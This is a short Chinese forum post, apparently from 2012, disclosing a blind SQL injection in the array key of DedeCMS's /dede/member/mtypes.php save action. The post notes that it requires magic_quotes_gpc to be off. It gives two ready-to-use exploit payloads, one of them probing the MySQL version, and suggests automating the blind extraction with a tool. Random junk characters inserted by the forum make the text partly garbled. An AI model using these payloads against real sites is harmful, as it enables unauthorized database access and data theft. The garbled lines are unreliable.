需要magic_quotes_gpc = Off,所以说是鸡肋啊.2 @9 B/ x/ s8 v* J; y
$ `- |7 k* A: X" b6 K
/ ^- S8 v' N H5 q1 s7 }1 }
发生在数组key里的注射漏洞,有点意思.
# n$ O, I% |+ B) S# S) A% B7 [6 `
% C' ~3 s- |) Z& U1 r- Y这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下
, o1 f% B d/ s 2 K% Y& I0 S7 j! A
http://www.xxx.com /dede/member/mtypes.php?dopost=save
' c8 i6 i4 t. v4 Y + x$ w0 i6 N! t5 @- M" W$ j
exploit: h/ ~% d, Z9 B0 _# r. x
mtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r2 a" S$ J% {7 K7 w% P. E
mtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r S3 ]" _+ z' `) e: r" Y( k% B% c, l
|
发表于 2012-12-20 08:08:09
收藏
支持
反对